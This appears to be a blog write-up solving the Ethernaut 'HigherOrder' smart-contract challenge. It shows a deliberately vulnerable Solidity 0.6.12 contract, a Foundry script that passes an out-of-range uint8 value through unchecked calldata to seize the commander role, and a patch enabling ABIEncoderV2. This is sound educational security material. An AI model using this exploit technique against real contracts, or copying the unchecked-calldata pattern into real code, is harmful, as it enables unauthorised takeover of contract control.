Ethernaut-30-HigherOrder
Challenge
Imagine a world where the rules are meant to be broken, and only the cunning and the bold can rise to power. Welcome to the Higher Order, a group shrouded in mystery, where a treasure awaits and a commander rules supreme.
Your objective is to become the Commander of the Higher Order! Good luck!
Things that might help:
Sometimes,
calldata
cannot be trusted.Compilers are constantly evolving into better spaceships.
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract HigherOrder {
address public commander;
uint256 public treasury;
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}
Solve
The key point of the challenge is this contract is compiled by solidity 0.6.12
.
Before solidity 0.8.0
, compiler is using ABIEncoderV1
, using ABIEncoderV1
means that the compiled contract will not perform bounds checking on function calldata.
So we can manually construct calldata and pass them in, regardless of the uint8
limitation of calldata.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
import {Script, console} from "forge-std/Script.sol";
import {HigherOrder} from "script/Ethernaut30-HigherOrderV2.sol";
contract Solver is Script {
address higherorder = vm.envAddress("HIGHERORDER_INSTANCE");
function setUp() public {}
function run() public {
vm.startBroadcast(vm.envUint("PRIV_KEY"));
higherorder.call(abi.encodeWithSignature("registerTreasury(uint8)", 256));
higherorder.call(abi.encodeWithSignature("claimLeadership()"));
vm.stopBroadcast();
}
}
contract SolverV2 is Script {
HigherOrder higherorder;
function setUp() public {
higherorder = new HigherOrder();
}
function run() public {
address(higherorder).call(abi.encodeWithSignature("registerTreasury(uint8)", 256));
address(higherorder).call(abi.encodeWithSignature("claimLeadership()"));
}
}
forge script script/Ethernaut30-HigherOrder.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast
Potential Patches
Explicitly specify the use of ABIEncoderV2
.
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2; //@patch
contract HigherOrder {
address public commander;
uint256 public treasury;
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}
The solution code won’t be pass while we explicitly specify using ABIEncoderV2
.
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣